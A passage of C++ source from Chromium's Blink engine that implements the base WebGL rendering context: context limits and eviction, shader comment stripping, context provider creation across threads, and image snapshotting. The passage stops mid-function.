    "content": "/*\n * Copyright (C) 2009 Apple Inc. All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n * 1. Redistributions of source code must retain the above copyright\n *    notice, this list of conditions and the following disclaimer.\n * 2. Redistributions in binary form must reproduce the above copyright\n *    notice, this list of conditions and the following disclaimer in the\n *    documentation and/or other materials provided with the distribution.\n *\n * THIS SOFTWARE IS PROVIDED BY APPLE COMPUTER, INC. ``AS IS'' AND ANY\n * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR\n * PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL APPLE COMPUTER, INC. OR\n * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,\n * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,\n * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR\n * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY\n * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n */\n\n#include \"third_party/blink/renderer/modules/webgl/webgl_rendering_context_base.h\"\n\n#include <memory>\n#include <utility>\n\n#include \"base/feature_list.h\"\n#include \"base/numerics/checked_math.h\"\n#include \"base/stl_util.h\"\n#include \"build/build_config.h\"\n#include \"gpu/GLES2/gl2extchromium.h\"\n#include \"gpu/command_buffer/client/gles2_interface.h\"\n#include \"gpu/command_buffer/common/capabilities.h\"\n#include \"gpu/config/gpu_feature_info.h\"\n#include \"third_party/blink/public/common/features.h\"\n#include \"third_party/blink/public/platform/platform.h\"\n#include \"third_party/blink/public/platform/task_type.h\"\n#include \"third_party/blink/renderer/bindings/modules/v8/html_canvas_element_or_offscreen_canvas.h\"\n#include \"third_party/blink/renderer/bindings/modules/v8/webgl_any.h\"\n#include \"third_party/blink/renderer/core/execution_context/execution_context.h\"\n#include \"third_party/blink/renderer/core/frame/dactyloscoper.h\"\n#include \"third_party/blink/renderer/core/frame/local_frame.h\"\n#include \"third_party/blink/renderer/core/frame/local_frame_client.h\"\n#include \"third_party/blink/renderer/core/frame/settings.h\"\n#include \"third_party/blink/renderer/core/html/canvas/canvas_rendering_context_host.h\"\n#include \"third_party/blink/renderer/core/html/canvas/html_canvas_element.h\"\n#include \"third_party/blink/renderer/core/html/canvas/image_data.h\"\n#include \"third_party/blink/renderer/core/html/html_image_element.h\"\n#include \"third_party/blink/renderer/core/html/media/html_video_element.h\"\n#include \"third_party/blink/renderer/core/imagebitmap/image_bitmap.h\"\n#include \"third_party/blink/renderer/core/inspector/console_message.h\"\n#include \"third_party/blink/renderer/core/layout/layout_box.h\"\n#include \"third_party/blink/renderer/core/origin_trials/origin_trials.h\"\n#include \"third_party/blink/renderer/core/probe/core_probes.h\"\n#include \"third_party/blink/renderer/core/svg/graphics/svg_image.h\"\n#include \"third_party/blink/renderer/core/typed_arrays/array_buffer/array_buffer_contents.h\"\n#include \"third_party/blink/renderer/core/typed_arrays/array_buffer_view_helpers.h\"\n#include \"third_party/blink/renderer/core/typed_arrays/dom_array_buffer.h\"\n#include \"third_party/blink/renderer/core/typed_arrays/dom_typed_array.h\"\n#include \"third_party/blink/renderer/core/typed_arrays/flexible_array_buffer_view.h\"\n#include \"third_party/blink/renderer/modules/webgl/angle_instanced_arrays.h\"\n#include \"third_party/blink/renderer/modules/webgl/ext_blend_min_max.h\"\n#include \"third_party/blink/renderer/modules/webgl/ext_frag_depth.h\"\n#include \"third_party/blink/renderer/modules/webgl/ext_shader_texture_lod.h\"\n#include \"third_party/blink/renderer/modules/webgl/ext_texture_filter_anisotropic.h\"\n#include \"third_party/blink/renderer/modules/webgl/gl_string_query.h\"\n#include \"third_party/blink/renderer/modules/webgl/oes_element_index_uint.h\"\n#include \"third_party/blink/renderer/modules/webgl/oes_standard_derivatives.h\"\n#include \"third_party/blink/renderer/modules/webgl/oes_texture_float.h\"\n#include \"third_party/blink/renderer/modules/webgl/oes_texture_float_linear.h\"\n#include \"third_party/blink/renderer/modules/webgl/oes_texture_half_float.h\"\n#include \"third_party/blink/renderer/modules/webgl/oes_texture_half_float_linear.h\"\n#include \"third_party/blink/renderer/modules/webgl/oes_vertex_array_object.h\"\n#include \"third_party/blink/renderer/modules/webgl/webgl_active_info.h\"\n#include \"third_party/blink/renderer/modules/webgl/webgl_buffer.h\"\n#include \"third_party/blink/renderer/modules/webgl/webgl_compressed_texture_astc.h\"\n#include \"third_party/blink/renderer/modules/webgl/webgl_compressed_texture_etc.h\"\n#include \"third_party/blink/renderer/modules/webgl/webgl_compressed_texture_etc1.h\"\n#include \"third_party/blink/renderer/modules/webgl/webgl_compressed_texture_pvrtc.h\"\n#include \"third_party/blink/renderer/modules/webgl/webgl_compressed_texture_s3tc.h\"\n#include \"third_party/blink/renderer/modules/webgl/webgl_compressed_texture_s3tc_srgb.h\"\n#include \"third_party/blink/renderer/modules/webgl/webgl_context_attribute_helpers.h\"\n#include \"third_party/blink/renderer/modules/webgl/webgl_context_event.h\"\n#include \"third_party/blink/renderer/modules/webgl/webgl_context_group.h\"\n#include \"third_party/blink/renderer/modules/webgl/webgl_debug_renderer_info.h\"\n#include \"third_party/blink/renderer/modules/webgl/webgl_debug_shaders.h\"\n#include \"third_party/blink/renderer/modules/webgl/webgl_depth_texture.h\"\n#include \"third_party/blink/renderer/modules/webgl/webgl_draw_buffers.h\"\n#include \"third_party/blink/renderer/modules/webgl/webgl_framebuffer.h\"\n#include \"third_party/blink/renderer/modules/webgl/webgl_lose_context.h\"\n#include \"third_party/blink/renderer/modules/webgl/webgl_program.h\"\n#include \"third_party/blink/renderer/modules/webgl/webgl_renderbuffer.h\"\n#include \"third_party/blink/renderer/modules/webgl/webgl_shader.h\"\n#include \"third_party/blink/renderer/modules/webgl/webgl_shader_precision_format.h\"\n#include \"third_party/blink/renderer/modules/webgl/webgl_uniform_location.h\"\n#include \"third_party/blink/renderer/modules/webgl/webgl_vertex_array_object.h\"\n#include \"third_party/blink/renderer/modules/webgl/webgl_vertex_array_object_oes.h\"\n#include \"third_party/blink/renderer/modules/webgl/webgl_video_texture.h\"\n#include \"third_party/blink/renderer/modules/webgl/webgl_video_texture_enum.h\"\n#include \"third_party/blink/renderer/platform/bindings/exception_state.h\"\n#include \"third_party/blink/renderer/platform/bindings/v8_binding_macros.h\"\n#include \"third_party/blink/renderer/platform/geometry/int_size.h\"\n#include \"third_party/blink/renderer/platform/graphics/accelerated_static_bitmap_image.h\"\n#include \"third_party/blink/renderer/platform/graphics/canvas_2d_layer_bridge.h\"\n#include \"third_party/blink/renderer/platform/graphics/canvas_resource_provider.h\"\n#include \"third_party/blink/renderer/platform/graphics/gpu/shared_gpu_context.h\"\n#include \"third_party/blink/renderer/platform/graphics/graphics_context.h\"\n#include \"third_party/blink/renderer/platform/heap/heap.h\"\n#include \"third_party/blink/renderer/platform/runtime_enabled_features.h\"\n#include \"third_party/blink/renderer/platform/scheduler/public/post_cross_thread_task.h\"\n#include \"third_party/blink/renderer/platform/wtf/cross_thread_functional.h\"\n#include \"third_party/blink/renderer/platform/wtf/functional.h\"\n#include \"third_party/blink/renderer/platform/wtf/text/string_builder.h\"\n#include \"third_party/blink/renderer/platform/wtf/text/string_utf8_adaptor.h\"\n#include \"third_party/blink/renderer/platform/wtf/threading_primitives.h\"\n\nnamespace blink {\n\nbool WebGLRenderingContextBase::webgl_context_limits_initialized_ = false;\nunsigned WebGLRenderingContextBase::max_active_webgl_contexts_ = 0;\nunsigned WebGLRenderingContextBase::max_active_webgl_contexts_on_worker_ = 0;\n\nnamespace {\n\nconstexpr base::TimeDelta kDurationBetweenRestoreAttempts =\n    base::TimeDelta::FromSeconds(1);\nconst int kMaxGLErrorsAllowedToConsole = 256;\n\nMutex& WebGLContextLimitMutex() {\n  DEFINE_THREAD_SAFE_STATIC_LOCAL(Mutex, mutex, ());\n  return mutex;\n}\n\nusing WebGLRenderingContextBaseSet =\n    HeapHashSet<WeakMember<WebGLRenderingContextBase>>;\nWebGLRenderingContextBaseSet& ActiveContexts() {\n  DEFINE_THREAD_SAFE_STATIC_LOCAL(\n      ThreadSpecific<Persistent<WebGLRenderingContextBaseSet>>, active_contexts,\n      ());\n  Persistent<WebGLRenderingContextBaseSet>& active_contexts_persistent =\n      *active_contexts;\n  if (!active_contexts_persistent) {\n    active_contexts_persistent =\n        MakeGarbageCollected<WebGLRenderingContextBaseSet>();\n    active_contexts_persistent.RegisterAsStaticReference();\n  }\n  return *active_contexts_persistent;\n}\n\nusing WebGLRenderingContextBaseMap =\n    HeapHashMap<WeakMember<WebGLRenderingContextBase>, int>;\nWebGLRenderingContextBaseMap& ForciblyEvictedContexts() {\n  DEFINE_THREAD_SAFE_STATIC_LOCAL(\n      ThreadSpecific<Persistent<WebGLRenderingContextBaseMap>>,\n      forcibly_evicted_contexts, ());\n  Persistent<WebGLRenderingContextBaseMap>&\n      forcibly_evicted_contexts_persistent = *forcibly_evicted_contexts;\n  if (!forcibly_evicted_contexts_persistent) {\n    forcibly_evicted_contexts_persistent =\n        MakeGarbageCollected<WebGLRenderingContextBaseMap>();\n    forcibly_evicted_contexts_persistent.RegisterAsStaticReference();\n  }\n  return *forcibly_evicted_contexts_persistent;\n}\n\n}  // namespace\n\nScopedRGBEmulationColorMask::ScopedRGBEmulationColorMask(\n    WebGLRenderingContextBase* context,\n    GLboolean* color_mask,\n    DrawingBuffer* drawing_buffer)\n    : context_(context),\n      requires_emulation_(drawing_buffer->RequiresAlphaChannelToBePreserved()) {\n  if (requires_emulation_) {\n    context_->active_scoped_rgb_emulation_color_masks_++;\n    memcpy(color_mask_, color_mask, 4 * sizeof(GLboolean));\n    context_->ContextGL()->ColorMask(color_mask_[0], color_mask_[1],\n                                     color_mask_[2], false);\n  }\n}\n\nScopedRGBEmulationColorMask::~ScopedRGBEmulationColorMask() {\n  if (requires_emulation_) {\n    DCHECK(context_->active_scoped_rgb_emulation_color_masks_);\n    context_->active_scoped_rgb_emulation_color_masks_--;\n    context_->ContextGL()->ColorMask(color_mask_[0], color_mask_[1],\n                                     color_mask_[2], color_mask_[3]);\n  }\n}\n\nvoid WebGLRenderingContextBase::InitializeWebGLContextLimits(\n    WebGraphicsContext3DProvider* context_provider) {\n  MutexLocker locker(WebGLContextLimitMutex());\n  if (!webgl_context_limits_initialized_) {\n    // These do not change over the lifetime of the browser.\n    auto webgl_preferences = context_provider->GetWebglPreferences();\n    max_active_webgl_contexts_ = webgl_preferences.max_active_webgl_contexts;\n    max_active_webgl_contexts_on_worker_ =\n        webgl_preferences.max_active_webgl_contexts_on_worker;\n    webgl_context_limits_initialized_ = true;\n  }\n}\n\nunsigned WebGLRenderingContextBase::CurrentMaxGLContexts() {\n  MutexLocker locker(WebGLContextLimitMutex());\n  DCHECK(webgl_context_limits_initialized_);\n  return IsMainThread() ? max_active_webgl_contexts_\n                        : max_active_webgl_contexts_on_worker_;\n}\n\nvoid WebGLRenderingContextBase::ForciblyLoseOldestContext(\n    const String& reason) {\n  WebGLRenderingContextBase* candidate = OldestContext();\n  if (!candidate)\n    return;\n\n  candidate->PrintWarningToConsole(reason);\n  probe::DidFireWebGLWarning(candidate->canvas());\n\n  // This will call deactivateContext once the context has actually been lost.\n  candidate->ForceLostContext(WebGLRenderingContextBase::kSyntheticLostContext,\n                              WebGLRenderingContextBase::kWhenAvailable);\n}\n\nWebGLRenderingContextBase* WebGLRenderingContextBase::OldestContext() {\n  if (ActiveContexts().IsEmpty())\n    return nullptr;\n\n  WebGLRenderingContextBase* candidate = *(ActiveContexts().begin());\n  DCHECK(!candidate->isContextLost());\n  for (WebGLRenderingContextBase* context : ActiveContexts()) {\n    DCHECK(!context->isContextLost());\n    if (context->ContextGL()->GetLastFlushIdCHROMIUM() <\n        candidate->ContextGL()->GetLastFlushIdCHROMIUM()) {\n      candidate = context;\n    }\n  }\n\n  return candidate;\n}\n\nWebGLRenderingContextBase* WebGLRenderingContextBase::OldestEvictedContext() {\n  if (ForciblyEvictedContexts().IsEmpty())\n    return nullptr;\n\n  WebGLRenderingContextBase* candidate = nullptr;\n  int generation = -1;\n  for (WebGLRenderingContextBase* context : ForciblyEvictedContexts().Keys()) {\n    if (!candidate || ForciblyEvictedContexts().at(context) < generation) {\n      candidate = context;\n      generation = ForciblyEvictedContexts().at(context);\n    }\n  }\n\n  return candidate;\n}\n\nvoid WebGLRenderingContextBase::ActivateContext(\n    WebGLRenderingContextBase* context) {\n  unsigned max_gl_contexts = CurrentMaxGLContexts();\n  unsigned removed_contexts = 0;\n  while (ActiveContexts().size() >= max_gl_contexts &&\n         removed_contexts < max_gl_contexts) {\n    ForciblyLoseOldestContext(\n        \"WARNING: Too many active WebGL contexts. Oldest context will be \"\n        \"lost.\");\n    removed_contexts++;\n  }\n\n  DCHECK(!context->isContextLost());\n  ActiveContexts().insert(context);\n}\n\nvoid WebGLRenderingContextBase::DeactivateContext(\n    WebGLRenderingContextBase* context) {\n  ActiveContexts().erase(context);\n}\n\nvoid WebGLRenderingContextBase::AddToEvictedList(\n    WebGLRenderingContextBase* context) {\n  static int generation = 0;\n  ForciblyEvictedContexts().Set(context, generation++);\n}\n\nvoid WebGLRenderingContextBase::RemoveFromEvictedList(\n    WebGLRenderingContextBase* context) {\n  ForciblyEvictedContexts().erase(context);\n}\n\nvoid WebGLRenderingContextBase::RestoreEvictedContext(\n    WebGLRenderingContextBase* context) {\n  // These two sets keep weak references to their contexts;\n  // verify that the GC already removed the |context| entries.\n  DCHECK(!ForciblyEvictedContexts().Contains(context));\n  DCHECK(!ActiveContexts().Contains(context));\n\n  unsigned max_gl_contexts = CurrentMaxGLContexts();\n  // Try to re-enable the oldest inactive contexts.\n  while (ActiveContexts().size() < max_gl_contexts &&\n         ForciblyEvictedContexts().size()) {\n    WebGLRenderingContextBase* evicted_context = OldestEvictedContext();\n    if (!evicted_context->restore_allowed_) {\n      ForciblyEvictedContexts().erase(evicted_context);\n      continue;\n    }\n\n    IntSize desired_size = DrawingBuffer::AdjustSize(\n        evicted_context->ClampedCanvasSize(), IntSize(),\n        evicted_context->max_texture_size_);\n\n    // If there's room in the pixel budget for this context, restore it.\n    if (!desired_size.IsEmpty()) {\n      ForciblyEvictedContexts().erase(evicted_context);\n      evicted_context->ForceRestoreContext();\n    }\n    break;\n  }\n}\n\nnamespace {\n\nGLint Clamp(GLint value, GLint min, GLint max) {\n  if (value < min)\n    value = min;\n  if (value > max)\n    value = max;\n  return value;\n}\n\n// Strips comments from shader text. This allows non-ASCII characters\n// to be used in comments without potentially breaking OpenGL\n// implementations not expecting characters outside the GLSL ES set.\nclass StripComments {\n public:\n  StripComments(const String& str)\n      : parse_state_(kBeginningOfLine),\n        source_string_(str),\n        length_(str.length()),\n        position_(0) {\n    Parse();\n  }\n\n  String Result() { return builder_.ToString(); }\n\n private:\n  bool HasMoreCharacters() const { return (position_ < length_); }\n\n  void Parse() {\n    while (HasMoreCharacters()) {\n      Process(Current());\n      // process() might advance the position.\n      if (HasMoreCharacters())\n        Advance();\n    }\n  }\n\n  void Process(UChar);\n\n  bool Peek(UChar& character) const {\n    if (position_ + 1 >= length_)\n      return false;\n    character = source_string_[position_ + 1];\n    return true;\n  }\n\n  UChar Current() {\n    SECURITY_DCHECK(position_ < length_);\n    return source_string_[position_];\n  }\n\n  void Advance() { ++position_; }\n\n  static bool IsNewline(UChar character) {\n    // Don't attempt to canonicalize newline related characters.\n    return (character == '\\n' || character == '\\r');\n  }\n\n  void Emit(UChar character) { builder_.Append(character); }\n\n  enum ParseState {\n    // Have not seen an ASCII non-whitespace character yet on\n    // this line. Possible that we might see a preprocessor\n    // directive.\n    kBeginningOfLine,\n\n    // Have seen at least one ASCII non-whitespace character\n    // on this line.\n    kMiddleOfLine,\n\n    // Handling a preprocessor directive. Passes through all\n    // characters up to the end of the line. Disables comment\n    // processing.\n    kInPreprocessorDirective,\n\n    // Handling a single-line comment. The comment text is\n    // replaced with a single space.\n    kInSingleLineComment,\n\n    // Handling a multi-line comment. Newlines are passed\n    // through to preserve line numbers.\n    kInMultiLineComment\n  };\n\n  ParseState parse_state_;\n  String source_string_;\n  unsigned length_;\n  unsigned position_;\n  StringBuilder builder_;\n};\n\nvoid StripComments::Process(UChar c) {\n  if (IsNewline(c)) {\n    // No matter what state we are in, pass through newlines\n    // so we preserve line numbers.\n    Emit(c);\n\n    if (parse_state_ != kInMultiLineComment)\n      parse_state_ = kBeginningOfLine;\n\n    return;\n  }\n\n  UChar temp = 0;\n  switch (parse_state_) {\n    case kBeginningOfLine:\n      if (WTF::IsASCIISpace(c)) {\n        Emit(c);\n        break;\n      }\n\n      if (c == '#') {\n        parse_state_ = kInPreprocessorDirective;\n        Emit(c);\n        break;\n      }\n\n      // Transition to normal state and re-handle character.\n      parse_state_ = kMiddleOfLine;\n      Process(c);\n      break;\n\n    case kMiddleOfLine:\n    case kInPreprocessorDirective:\n      if (c == '/' && Peek(temp)) {\n        if (temp == '/') {\n          parse_state_ = kInSingleLineComment;\n          Emit(' ');\n          Advance();\n          break;\n        }\n\n        if (temp == '*') {\n          parse_state_ = kInMultiLineComment;\n          // Emit the comment start in case the user has\n          // an unclosed comment and we want to later\n          // signal an error.\n          Emit('/');\n          Emit('*');\n          Advance();\n          break;\n        }\n      }\n\n      Emit(c);\n      break;\n\n    case kInSingleLineComment:\n      // Line-continuation characters are processed before comment processing.\n      // Advance string if a new line character is immediately behind\n      // line-continuation character.\n      if (c == '\\\\') {\n        if (Peek(temp) && IsNewline(temp))\n          Advance();\n      }\n\n      // The newline code at the top of this function takes care\n      // of resetting our state when we get out of the\n      // single-line comment. Swallow all other characters.\n      break;\n\n    case kInMultiLineComment:\n      if (c == '*' && Peek(temp) && temp == '/') {\n        Emit('*');\n        Emit('/');\n        parse_state_ = kMiddleOfLine;\n        Advance();\n        break;\n      }\n\n      // Swallow all other characters. Unclear whether we may\n      // want or need to just emit a space per character to try\n      // to preserve column numbers for debugging purposes.\n      break;\n  }\n}\n\nstatic bool g_should_fail_context_creation_for_testing = false;\n}  // namespace\n\nclass ScopedTexture2DRestorer {\n  STACK_ALLOCATED();\n\n public:\n  explicit ScopedTexture2DRestorer(WebGLRenderingContextBase* context)\n      : context_(context) {}\n\n  ~ScopedTexture2DRestorer() { context_->RestoreCurrentTexture2D(); }\n\n private:\n  WebGLRenderingContextBase* context_;\n};\n\nclass ScopedFramebufferRestorer {\n  STACK_ALLOCATED();\n\n public:\n  explicit ScopedFramebufferRestorer(WebGLRenderingContextBase* context)\n      : context_(context) {}\n\n  ~ScopedFramebufferRestorer() { context_->RestoreCurrentFramebuffer(); }\n\n private:\n  WebGLRenderingContextBase* context_;\n};\n\nclass ScopedUnpackParametersResetRestore {\n  STACK_ALLOCATED();\n\n public:\n  explicit ScopedUnpackParametersResetRestore(\n      WebGLRenderingContextBase* context,\n      bool enabled = true)\n      : context_(context), enabled_(enabled) {\n    if (enabled)\n      context_->ResetUnpackParameters();\n  }\n\n  ~ScopedUnpackParametersResetRestore() {\n    if (enabled_)\n      context_->RestoreUnpackParameters();\n  }\n\n private:\n  WebGLRenderingContextBase* context_;\n  bool enabled_;\n};\n\nstatic void FormatWebGLStatusString(const StringView& gl_info,\n                                    const StringView& info_string,\n                                    StringBuilder& builder) {\n  if (info_string.IsEmpty())\n    return;\n  builder.Append(\", \");\n  builder.Append(gl_info);\n  builder.Append(\" = \");\n  builder.Append(info_string);\n}\n\nstatic String ExtractWebGLContextCreationError(\n    const Platform::GraphicsInfo& info) {\n  StringBuilder builder;\n  builder.Append(\"Could not create a WebGL context\");\n  FormatWebGLStatusString(\n      \"VENDOR\",\n      info.vendor_id ? String::Format(\"0x%04x\", info.vendor_id) : \"0xffff\",\n      builder);\n  FormatWebGLStatusString(\n      \"DEVICE\",\n      info.device_id ? String::Format(\"0x%04x\", info.device_id) : \"0xffff\",\n      builder);\n  FormatWebGLStatusString(\"GL_VENDOR\", info.vendor_info, builder);\n  FormatWebGLStatusString(\"GL_RENDERER\", info.renderer_info, builder);\n  FormatWebGLStatusString(\"GL_VERSION\", info.driver_version, builder);\n  FormatWebGLStatusString(\"Sandboxed\", info.sandboxed ? \"yes\" : \"no\", builder);\n  FormatWebGLStatusString(\"Optimus\", info.optimus ? \"yes\" : \"no\", builder);\n  FormatWebGLStatusString(\"AMD switchable\", info.amd_switchable ? \"yes\" : \"no\",\n                          builder);\n  FormatWebGLStatusString(\n      \"Reset notification strategy\",\n      String::Format(\"0x%04x\", info.reset_notification_strategy).Utf8().c_str(),\n      builder);\n  FormatWebGLStatusString(\"ErrorMessage\", info.error_message.Utf8().c_str(),\n                          builder);\n  builder.Append('.');\n  return builder.ToString();\n}\n\nstruct ContextProviderCreationInfo {\n  // Inputs.\n  Platform::ContextAttributes context_attributes;\n  Platform::GraphicsInfo* gl_info;\n  KURL url;\n  // Outputs.\n  std::unique_ptr<WebGraphicsContext3DProvider> created_context_provider;\n  bool* using_gpu_compositing;\n};\n\nstatic void CreateContextProviderOnMainThread(\n    ContextProviderCreationInfo* creation_info,\n    base::WaitableEvent* waitable_event) {\n  DCHECK(IsMainThread());\n  // Ask for gpu compositing mode when making the context. The context will be\n  // lost if the mode changes.\n  *creation_info->using_gpu_compositing =\n      !Platform::Current()->IsGpuCompositingDisabled();\n  creation_info->created_context_provider =\n      Platform::Current()->CreateOffscreenGraphicsContext3DProvider(\n          creation_info->context_attributes, creation_info->url,\n          creation_info->gl_info);\n  waitable_event->Signal();\n}\n\nstatic std::unique_ptr<WebGraphicsContext3DProvider>\nCreateContextProviderOnWorkerThread(\n    Platform::ContextAttributes context_attributes,\n    Platform::GraphicsInfo* gl_info,\n    bool* using_gpu_compositing,\n    const KURL& url) {\n  base::WaitableEvent waitable_event;\n  ContextProviderCreationInfo creation_info;\n  creation_info.context_attributes = context_attributes;\n  creation_info.gl_info = gl_info;\n  creation_info.url = url.Copy();\n  creation_info.using_gpu_compositing = using_gpu_compositing;\n  scoped_refptr<base::SingleThreadTaskRunner> task_runner =\n      Thread::MainThread()->GetTaskRunner();\n  PostCrossThreadTask(\n      *task_runner, FROM_HERE,\n      CrossThreadBindOnce(&CreateContextProviderOnMainThread,\n                          CrossThreadUnretained(&creation_info),\n                          CrossThreadUnretained(&waitable_event)));\n  waitable_event.Wait();\n  return std::move(creation_info.created_context_provider);\n}\n\nbool WebGLRenderingContextBase::SupportOwnOffscreenSurface(\n    ExecutionContext* execution_context) {\n  // Using an own offscreen surface disables virtualized contexts, and this\n  // doesn't currently work properly, see https://crbug.com/691102.\n  // TODO(https://crbug.com/791755): Remove this function and related code once\n  // the replacement is ready.\n  return false;\n}\n\nstd::unique_ptr<WebGraphicsContext3DProvider>\nWebGLRenderingContextBase::CreateContextProviderInternal(\n    CanvasRenderingContextHost* host,\n    const CanvasContextCreationAttributesCore& attributes,\n    Platform::ContextType context_type,\n    bool* using_gpu_compositing) {\n  DCHECK(host);\n  ExecutionContext* execution_context = host->GetTopExecutionContext();\n  DCHECK(execution_context);\n\n  Platform::ContextAttributes context_attributes = ToPlatformContextAttributes(\n      attributes, context_type, SupportOwnOffscreenSurface(execution_context));\n\n  Platform::GraphicsInfo gl_info;\n  std::unique_ptr<WebGraphicsContext3DProvider> context_provider;\n  const auto& url = execution_context->Url();\n  if (IsMainThread()) {\n    // Ask for gpu compositing mode when making the context. The context will be\n    // lost if the mode changes.\n    *using_gpu_compositing = !Platform::Current()->IsGpuCompositingDisabled();\n    context_provider =\n        Platform::Current()->CreateOffscreenGraphicsContext3DProvider(\n            context_attributes, url, &gl_info);\n  } else {\n    context_provider = CreateContextProviderOnWorkerThread(\n        context_attributes, &gl_info, using_gpu_compositing, url);\n  }\n  if (context_provider && !context_provider->BindToCurrentThread()) {\n    context_provider = nullptr;\n    gl_info.error_message =\n        String(\"bindToCurrentThread failed: \" + String(gl_info.error_message));\n  }\n  if (!context_provider || g_should_fail_context_creation_for_testing) {\n    g_should_fail_context_creation_for_testing = false;\n    host->HostDispatchEvent(\n        WebGLContextEvent::Create(event_type_names::kWebglcontextcreationerror,\n                                  ExtractWebGLContextCreationError(gl_info)));\n    return nullptr;\n  }\n  gpu::gles2::GLES2Interface* gl = context_provider->ContextGL();\n  if (!String(gl->GetString(GL_EXTENSIONS))\n           .Contains(\"GL_OES_packed_depth_stencil\")) {\n    host->HostDispatchEvent(WebGLContextEvent::Create(\n        event_type_names::kWebglcontextcreationerror,\n        \"OES_packed_depth_stencil support is required.\"));\n    return nullptr;\n  }\n  return context_provider;\n}\n\nstd::unique_ptr<WebGraphicsContext3DProvider>\nWebGLRenderingContextBase::CreateWebGraphicsContext3DProvider(\n    CanvasRenderingContextHost* host,\n    const CanvasContextCreationAttributesCore& attributes,\n    Platform::ContextType context_type,\n    bool* using_gpu_compositing) {\n  // The host might block creation of a new WebGL context despite the\n  // page settings; in particular, if WebGL contexts were lost one or\n  // more times via the GL_ARB_robustness extension.\n  if (host->IsWebGLBlocked()) {\n    host->SetContextCreationWasBlocked();\n    host->HostDispatchEvent(WebGLContextEvent::Create(\n        event_type_names::kWebglcontextcreationerror,\n        \"Web page caused context loss and was blocked\"));\n    return nullptr;\n  }\n  if ((context_type == Platform::kWebGL1ContextType &&\n       !host->IsWebGL1Enabled()) ||\n      (context_type == Platform::kWebGL2ContextType &&\n       !host->IsWebGL2Enabled()) ||\n      (context_type == Platform::kWebGL2ComputeContextType &&\n       !host->IsWebGL2Enabled())) {\n    host->HostDispatchEvent(WebGLContextEvent::Create(\n        event_type_names::kWebglcontextcreationerror,\n        \"disabled by enterprise policy or commandline switch\"));\n    return nullptr;\n  }\n\n  return CreateContextProviderInternal(host, attributes, context_type,\n                                       using_gpu_compositing);\n}\n\nvoid WebGLRenderingContextBase::ForceNextWebGLContextCreationToFail() {\n  g_should_fail_context_creation_for_testing = true;\n}\n\nImageBitmap* WebGLRenderingContextBase::TransferToImageBitmapBase(\n    ScriptState* script_state) {\n  WebFeature feature = WebFeature::kOffscreenCanvasTransferToImageBitmapWebGL;\n  UseCounter::Count(ExecutionContext::From(script_state), feature);\n  return MakeGarbageCollected<ImageBitmap>(\n      GetDrawingBuffer()->TransferToStaticBitmapImage());\n}\n\nvoid WebGLRenderingContextBase::commit() {\n  if (!GetDrawingBuffer() || (Host() && Host()->IsOffscreenCanvas()))\n    return;\n\n  int width = GetDrawingBuffer()->Size().Width();\n  int height = GetDrawingBuffer()->Size().Height();\n\n  if (PaintRenderingResultsToCanvas(kBackBuffer)) {\n    if (Host()->GetOrCreateCanvasResourceProvider(kPreferAcceleration)) {\n      Host()->Commit(Host()->ResourceProvider()->ProduceCanvasResource(),\n                     SkIRect::MakeWH(width, height));\n    }\n  }\n  MarkLayerComposited();\n}\n\nscoped_refptr<StaticBitmapImage> WebGLRenderingContextBase::GetImage(\n    AccelerationHint hint) {\n  if (!GetDrawingBuffer())\n    return nullptr;\n\n  ScopedFramebufferRestorer fbo_restorer(this);\n  GetDrawingBuffer()->ResolveAndBindForReadAndDraw();\n  // Use the drawing buffer size here instead of the canvas size to ensure that\n  // sizing is consistent. The forced downsizing logic in Reshape() can lead to\n  // the drawing buffer being smaller than the canvas size.\n  // See https://crbug.com/845742.\n  IntSize size = GetDrawingBuffer()->Size();\n  // Since we are grabbing a snapshot that is not for compositing, we use a\n  // custom resource provider. This avoids consuming compositing-specific\n  // resources (e.g. GpuMemoryBuffer)\n  std::unique_ptr<CanvasResourceProvider> resource_provider =\n      CanvasResourceProvider::Create(\n          size,\n          CanvasResourceProvider::ResourceUsage::kAcceleratedResourceUsage,\n          SharedGpuContext::ContextProviderWrapper(), 0,\n          GetDrawingBuffer()->FilterQuality(), ColorParams(),\n          CanvasResourceProvider::kDefaultPresentationMode,\n          nullptr /* canvas_resource_dispatcher */, is_origin_top_left_);\n  if (!resource_provider || !resource_provider->IsValid())\n    return nullptr;\n  if (!CopyRenderingResultsFromDrawingBuffer(resource_provider.get(),\n                                             kBackBuffer)) {\n    // copyRenderingResultsFromDrawingBuffer is expected to always succeed\n    // because we've explicitly created an Accelerated surface and have\n    // already validated it.\n    NOTREACHED();\n    return nullptr;\n  }\n  return resource_provider->Snapshot();\n}\n\nScriptPromise WebGLRenderingContextBase::makeXRCompatible(\n    ScriptState* script_state,\n    ExceptionState& exception_state) {\n  if (isContextLost()) {\n    exception_state.ThrowDOMException(DOMExceptionCode::kInvalidStateError,\n                                      \"Context lost.\");\n    return ScriptPromise();\n  }\n\n  if (xr_compatible_) {\n    // Returns a script promise resolved with undefined.\n    return ScriptPromise::CastUndefined(script_state);\n  }\n\n  if (ContextCreatedOnXRCompatibleAdapter()) {\n    xr_compatible_ = true;\n    return ScriptPromise::CastUndefined(script_state);\n  }\n\n  // TODO(http://crbug.com/876140) Trigger context loss and recreate on\n  // compatible GPU.\n  exception_state.ThrowDOMException(\n      DOMExceptionCode::kNotSupportedError,\n      \"Context is not compatible. Switching not yet implemented.\");\n  return ScriptPromise();\n}\n\nbool WebGLRenderingContextBase::IsXRCompatible() {\n  return xr_compatible_;\n}\n\nvoid WebGLRenderingContextBase::\n    UpdateNumberOfUserAllocatedMultisampledRenderbuffers(int delta) {\n  DCHECK(delta >= -1 && delta <= 1);\n  number_of_user_allocated_multisampled_renderbuffers_ += delta;\n  